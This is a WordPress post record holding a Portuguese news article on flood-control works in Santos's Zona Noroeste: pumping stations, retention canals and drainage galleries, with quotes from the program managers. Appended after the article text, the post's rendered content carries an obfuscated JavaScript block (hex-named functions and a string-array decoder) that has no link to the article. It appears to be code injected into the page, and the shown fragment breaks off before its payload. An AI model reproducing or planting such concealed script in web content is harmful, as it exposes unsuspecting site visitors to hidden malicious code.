{"id":53882,"date":"2022-03-07T14:42:59","date_gmt":"2022-03-07T17:42:59","guid":{"rendered":"https:\/\/www.jornalvicentino.com.br\/v3\/?p=53882"},"modified":"2022-03-07T14:43:01","modified_gmt":"2022-03-07T17:43:01","slug":"conheca-as-grandes-obras-que-santos-realiza-contra-alagamentos-na-zona-noroeste","status":"publish","type":"post","link":"https:\/\/www.jornalvicentino.com.br\/v3\/regiao\/conheca-as-grandes-obras-que-santos-realiza-contra-alagamentos-na-zona-noroeste\/","title":{"rendered":"Conhe\u00e7a as grandes obras que Santos realiza contra alagamentos na Zona Noroeste"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Tr\u00eas grandes obras prometem resolver de vez o problema cr\u00f4nico das enchentes na Zona Noroeste de Santos, beneficiando cerca de 80 mil moradores da regi\u00e3o. Duas delas em andamento e outra prestes a come\u00e7ar, elas chamam a aten\u00e7\u00e3o pela complexidade e pelo longo trabalho para que come\u00e7assem a ser executadas, que passaram por planejamento, capta\u00e7\u00e3o de recursos, licen\u00e7as, autoriza\u00e7\u00f5es e licita\u00e7\u00f5es.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As a\u00e7\u00f5es chegam para somar a uma s\u00e9rie de obras que a Prefeitura vem fazendo desde 2013 para sanar a quest\u00e3o, como as feitas na Avenida Martins Fontes, Jovino de Mello, Haroldo de Camargo e grandes investimentos como a Nova Entrada de Santos, cujos resultados j\u00e1 s\u00e3o vis\u00edveis para a popula\u00e7\u00e3o.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Confira agora um pouco mais dessas tr\u00eas obras, onde est\u00e3o sendo feitas, o que est\u00e1 sendo realizado e quem ser\u00e3o beneficiados com o trabalho. Confira:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.santos.sp.gov.br\/static\/files_www\/files\/portal_files\/7e6ab8aa-287c-4641-9c1a-3ea1002db0b0.jpg\" alt=\"\"\/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"menu1\">ENTRADA DE SANTOS<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">A obra da esta\u00e7\u00e3o elevat\u00f3ria, onde hoje fica parte do estacionamento do Assa\u00ed atacadista, faz parte da segunda fase do Sistema Bin\u00e1rio da Nova Entrada de Santos. Ela ser\u00e1 constru\u00edda onde hoje fica o estacionamento do Hipermercado Assa\u00ed, perto da entrada da Cidade.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mas afinal, o que \u00e9 uma esta\u00e7\u00e3o elevat\u00f3ria? A obra consiste na constru\u00e7\u00e3o de uma esta\u00e7\u00e3o de bombeamento que funcionar\u00e1 em conjunto com a vala j\u00e1 existente no endere\u00e7o. Esta ser\u00e1 revestida em concreto e transformada numa bacia de reten\u00e7\u00e3o (um grande espa\u00e7o para receber a \u00e1gua), que ser\u00e1 mantida o tempo todo vazia at\u00e9 os dias de chuva. Quando o n\u00edvel pluvial for alto, a \u00e1gua que cair\u00e1 nessa bacia ser\u00e1 captada e bombeada para o mar por tubula\u00e7\u00f5es que passar\u00e3o por baixo das pistas da Via Anchieta.&nbsp;&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.santos.sp.gov.br\/static\/files_www\/files\/portal_files\/plano.jpg\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">O gestor do Programa Nova Entrada de Santos, Wagner Ramos, \u00e9 taxativo em afirmar que a obra representar\u00e1 o fim do sofrimento em per\u00edodo de chuva para os moradores da regi\u00e3o. Segundo ele, cerca de 5 mil fam\u00edlias ser\u00e3o impactadas com os trabalhos de macrodrenagem. \u201cA comunidade do Chico de Paula fica exatamente no caminho em que passava o antigo rio. As constru\u00e7\u00f5es feitas no local impedem o escoamento natural da \u00e1gua em per\u00edodos de chuvas mais fortes. Consequentemente, a \u00e1gua se acumula nas imedia\u00e7\u00f5es da Vila Haddad e do Sabo\u00f3, gerando os alagamentos que se espalham pelos endere\u00e7os e impactam at\u00e9 as imedia\u00e7\u00f5es da Avenida Nossa Senhora de F\u00e1tima\u201d.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">O projeto tem t\u00e9rmino previsto para 2024 e representa uma vit\u00f3ria para os moradores da Cidade, segundo Ramos.&nbsp; \u201c\u00c9 a cereja do bolo do que pleiteamos junto ao Governo do Estado, pois afeta o tr\u00e2nsito e a vida das pessoas. De que adianta fazer uma interven\u00e7\u00e3o vi\u00e1ria t\u00e3o importante, construir viaduto, se no momento de uma chuva mais forte alaga devido \u00e0 falha na drenagem? \u201d.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Essa obra vai complementar outra j\u00e1 entregue na regi\u00e3o. \u201cA Avenida Martins Fontes, por exemplo, recebeu uma galeria gigantesca. Antes, as tubula\u00e7\u00f5es tinham apenas 90 cent\u00edmetros de di\u00e2metro, hoje passaria um carro por elas. Com o bombeamento da futura Esta\u00e7\u00e3o Elevat\u00f3ria vai funcionar plenamente\u201d, explica Ramos.&nbsp;<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"menu2\">SANTOS NOVOS TEMPOS<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">O Programa Santos Novos Tempos \u00e9 o maior conjunto de obras estruturais da hist\u00f3ria de Santos e tem como principal objetivo acabar com o problema dos alagamentos na Zona Noroeste, al\u00e9m de impactar diretamente no problema em S\u00e3o Vicente.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Para explicar o programa, primeiro precisamos entender uma quest\u00e3o fundamental: A Zona Noroeste possui 12km\u00b2 ao todo, e 3,5km\u00b2 dessa \u00e1rea est\u00e3o sujeitos a alagamentos. Essa \u00e9 outra quest\u00e3o importante: diferentemente das enchentes (ocasionadas pela subida do n\u00edvel de rios devido \u00e0 chuva) os alagamentos s\u00e3o ocasionados pela subida da mar\u00e9 ou por tempestades.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.santos.sp.gov.br\/static\/files_www\/files\/portal_files\/doug_fernandes_0001.jpeg\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Quem mora na regi\u00e3o sabe bem disso, mesmo em dias sem chuva, mas com alta da mar\u00e9, os alagamentos acontecem. Isso \u00e9 explicado pelo fato de que grande parte dessa importante regi\u00e3o de Santos foi constru\u00edda em \u00e1rea de aterro que, com o passar dos anos, se acomodou e afundou. Em alguns trechos, esse terreno chega a ser um metro mais baixo do que o restante da Cidade, formando um ambiente prop\u00edcio para o ac\u00famulo de \u00e1gua.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Com um problema complexo como este, a solu\u00e7\u00e3o n\u00e3o seria simples. O programa Santos Novos Tempos inclui uma completa reestrutura\u00e7\u00e3o da regi\u00e3o que tornar\u00e1 poss\u00edvel acabar com este problema, ou ao menos diminu\u00ed-lo ao m\u00e1ximo.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Tentando explicar de uma maneira simples, a obra passa por diversas fases que v\u00e3o desde o desassoreamento dos rios, limpeza de canais, urbaniza\u00e7\u00e3o e habita\u00e7\u00e3o, at\u00e9 os trabalhos mais complexos de infraestrutura que incluem as trocas de tubula\u00e7\u00f5es e a constru\u00e7\u00e3o de esta\u00e7\u00f5es elevat\u00f3rias. Duas importantes obras neste momento est\u00e3o ocorrendo e, quando conclu\u00eddas, j\u00e1 modificar\u00e3o muito o panorama dos alagamentos.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"menu3\">AVENIDA HAROLDO DE CAMARGO<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Iniciada em agosto de 2021 e com prazo previsto para t\u00e9rmino em 24 meses, a obra contra alagamentos, chamada EEC7, tem como principal objetivo complementar as interven\u00e7\u00f5es na Avenida Haroldo de Camargo.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Para isso, ela contar\u00e1 com uma esta\u00e7\u00e3o elevat\u00f3ria, um canal e uma comporta na parte aterrada do mangue. Os servi\u00e7os, em andamento, est\u00e3o na fase de funda\u00e7\u00e3o, etapa mais complexa da obra, com interven\u00e7\u00f5es espec\u00edficas para solos moles.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.santos.sp.gov.br\/static\/files_www\/files\/portal_files\/estacao1.jpg\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Como explicado anteriormente, grande parte da Zona Noroeste est\u00e1 localizada em \u00e1reas aterradas. Sendo assim, a obra consiste basicamente em dar vaz\u00e3o e espa\u00e7o para que essa \u00e1gua das chuvas, ou da mar\u00e9, siga seu curso sem se acumular gerando os indesejados alagamentos.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Nesse trecho, quando conclu\u00eddo, a \u00e1gua da chuva ou da mar\u00e9 passar\u00e1 pelos canais e pelas galerias at\u00e9 chegar \u00e0 chamada esta\u00e7\u00e3o elevat\u00f3ria que servir\u00e1 para acumular a \u00e1gua (que causaria as inunda\u00e7\u00f5es) e despej\u00e1-la no Rio dos Bugres.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.santos.sp.gov.br\/static\/files_www\/files\/portal_files\/estacao2.jpg\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Em caso de chuva fraca com mar\u00e9 baixa, as comportas permanecer\u00e3o abertas e a \u00e1gua fluir\u00e1, por gravidade, para o Rio dos Bugres. Se chover fraco, mas a mar\u00e9 estiver alta, as comportas ser\u00e3o fechadas e a \u00e1gua ficar\u00e1 armazenada no reservat\u00f3rio de acumula\u00e7\u00e3o (correspondente a tr\u00eas piscinas ol\u00edmpicas). Gradativamente, tr\u00eas bombas de suc\u00e7\u00e3o retirar\u00e3o a \u00e1gua retida e lan\u00e7ar\u00e3o no Rio dos Bugres.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Com chuva forte e mar\u00e9 baixa, parte da \u00e1gua poder\u00e1 ser retida pelas comportas. J\u00e1 quando chover forte e a mar\u00e9 estiver alta, as comportas permanecer\u00e3o fechadas, com todas as bombas funcionando para lan\u00e7ar o volume de \u00e1gua represada no Rio.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.santos.sp.gov.br\/static\/files_www\/files\/portal_files\/7f7746bd-2149-4700-90c7-71f4d5487860.jpg\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Juntas, as tr\u00eas bombas ter\u00e3o capacidade de sugar 6m\u00b3 de \u00e1gua por segundo. Com o volume de \u00e1gua sugado por segundo \u00e9 poss\u00edvel encher uma piscina ol\u00edmpica em apenas cinco minutos. As bombas ser\u00e3o a diesel para funcionar mesmo durante as tempestades, e contar\u00e3o com cestos e grades de a\u00e7o inox para reter o lixo levado pela chuva, em ambos os lados das comportas.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Segundo o engenheiro M\u00e1rcio Lara, gerente do programa Santos Novos Tempos, essa obra beneficiar\u00e1 principalmente os moradores dos bairros Castelo e Areia Branca, al\u00e9m de parte dos moradores do Bairro Guassu, em S\u00e3o Vicente. \u201cEla dever\u00e1 estar pronta e entregue no primeiro semestre de 2023. Essa esta\u00e7\u00e3o evitar\u00e1 que \u00e1gua fique acumulada nos bairros, pois esta ser\u00e1 bombeada numa velocidade de 6m\u00b3 por segundo, ou seja, \u00e9 como se retirassem seis caixas d\u2019\u00e1gua de mil litros por segundo\u201d.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.santos.sp.gov.br\/static\/files_www\/files\/portal_files\/whatsapp_image_2022-02-25_at_15.44.41_1.jpeg\" alt=\"\"\/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"menu4\">OBRAS NO ESTU\u00c1RIO<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Uma das obras mais esperadas pela popula\u00e7\u00e3o de Santos \u00e9 a drenagem do Sabo\u00f3. A interven\u00e7\u00e3o tem como principal objetivo escoar as \u00e1guas das chuvas e dos rios em dire\u00e7\u00e3o ao estu\u00e1rio, na \u00e1rea de compet\u00eancia federal. Esse trabalho \u00e9 fundamental para complementar a macrodrenagem realizada pelo Munic\u00edpio na regi\u00e3o.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Lara ressalta que, al\u00e9m de impactar diretamente no tr\u00e2nsito de toda a Cidade e no trabalho portu\u00e1rio, por evitar as cheias na entrada da Cidade, complementando as obras da esta\u00e7\u00e3o elevat\u00f3ria, ser\u00e1 resolvido o problema dos alagamentos nos bairros Sabo\u00f3, Vila Haddad e Chico de Paula.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.santos.sp.gov.br\/static\/files_www\/files\/portal_files\/whatsapp_image_2022-02-25_at_11.47.53.jpeg\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cEssa \u00e9 a maior microbacia hidrogr\u00e1fica da regi\u00e3o, portanto ter\u00e1 uma capacidade de bombeamento cinco vezes maior do que a da esta\u00e7\u00e3o elevat\u00f3ria da Avenida Haroldo de Camargo\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Como explicado anteriormente, os trabalhos de drenagem visam fazer com que a \u00e1gua (de mar\u00e9, ou chuva), em vez de acumular em pontos da Cidade, escoe por canais ou galerias at\u00e9 chegar a um reservat\u00f3rio constru\u00eddo, que seria respons\u00e1vel por bombear essa \u00e1gua para algum reservat\u00f3rio natural.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.santos.sp.gov.br\/static\/files_www\/files\/portal_files\/whatsapp_image_2022-02-25_at_11.47.54.jpeg\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">No caso do Sabo\u00f3, essa \u00e1gua seria captada, bombeada e enviada para o mar, atrav\u00e9s do sistema de bombeamento da esta\u00e7\u00e3o elevat\u00f3ria e de todas as galerias constru\u00eddas.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Os trabalhos, que come\u00e7aram em outubro de 2021, consistem na constru\u00e7\u00e3o de um canal de reten\u00e7\u00e3o e instala\u00e7\u00e3o de galerias e tubos para drenagem sob a Avenida Portu\u00e1ria. E, ainda, na implanta\u00e7\u00e3o de canais com cestos, grades e comportas junto \u00e0 foz do Rio Sabo\u00f3, por onde seguem as \u00e1guas das chuvas e nascentes do morro e do bairro Sabo\u00f3.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.santos.sp.gov.br\/static\/files_www\/files\/portal_files\/whatsapp_image_2022-02-25_at_11.47.54_1.jpeg\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Essa obra, no entanto, depende muito do Governo Federal, pois a pr\u00f3xima fase inclui a constru\u00e7\u00e3o de galerias de drenagem que passam abaixo da linha. Sob a Avenida Portu\u00e1ria ser\u00e3o implantadas duas galerias em aduelas de concreto (blocos pr\u00e9-fabricados com formato retangular e vazado, que se encaixam formando grandes tubula\u00e7\u00f5es) medindo 4m x 2m, fabricadas para suportar tr\u00e1fego ferrovi\u00e1rio.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Isso permitir\u00e1, a qualquer tempo, prosseguir com os planos federais de implantar mais ramais ferrovi\u00e1rios para os novos terminais portu\u00e1rios do Porto Sabo\u00f3. A obra inclui ainda dois tubos de 2,50m de di\u00e2metro sob a avenida para o des\u00e1gue da futura Esta\u00e7\u00e3o de Bombeamento.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.santos.sp.gov.br\/static\/files_www\/files\/portal_files\/drena_proporcao_2.jpg\" alt=\"\"\/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"menu5\">EXPECTATIVA PARA MAR\u00c7O<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">O Ministro da Infraestrutura, Tarc\u00edsio de Freitas, informou pela Imprensa que o aditamento do contrato de opera\u00e7\u00e3o das linhas ferrovi\u00e1rias com a MRS, fundamentais para o andamento das obras, ser\u00e1 assinado em mar\u00e7o.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"menu6\">RESULTADOS J\u00c1 S\u00c3O VIS\u00cdVEIS<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">\u00c9 importante lembrar que Santos j\u00e1 fez, ao longo dos \u00faltimos anos, um grande investimento em obras estruturais anteriores como as entregues no final de 2020: o viaduto em curva (constru\u00eddo no encontro das Avenidas Nossa Senhora de F\u00e1tima e Martins Fontes com a Rodovia Anchieta), al\u00e9m de outros quatro viadutos em funcionamento ( Anchieta, Alemoa, da entrada da Cidade e do Piratininga, contando ainda com a ponte sobre o Rio S\u00e3o Jorge, que liga a Zona Noroeste \u00e0 Via Anchieta).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Wagner Ramos conta que o trabalho visando as melhorias na entrada de Santos come\u00e7ou a ser planejado ainda em 2013. Ele recorda que, para romper os primeiros entraves burocr\u00e1ticos como capta\u00e7\u00e3o de recursos e toda parte de planejamento, foram necess\u00e1rios tr\u00eas anos. Come\u00e7aria ent\u00e3o a luta para obten\u00e7\u00e3o de licen\u00e7as e autoriza\u00e7\u00f5es.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cEnquanto aguard\u00e1vamos as libera\u00e7\u00f5es ambientais dos trechos mais complexos, fizemos uma urbaniza\u00e7\u00e3o de vias como a Jovino de Melo, com planejamento, cal\u00e7adas acess\u00edveis, de concreto, toda parte de embutimento, melhorias no paisagismo dos bairros, os mobili\u00e1rios urbanos como lixos, bancos, pontos de \u00f4nibus, ou seja, fomos adiantando tudo que era poss\u00edvel at\u00e9 conseguir avan\u00e7ar nos processos burocr\u00e1ticos\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Num segundo, obras de drenagem foram iniciadas, como as tubula\u00e7\u00f5es que foram trocadas na Avenida Martins Fontes. Quem visita a Zona Noroeste hoje, ou a Nova Entrada de Santos, j\u00e1 visualiza grande parte dessas mudan\u00e7as, que prometem ser ainda maiores com a conclus\u00e3o de todas as obras para que a Cidade viva Novos Tempos.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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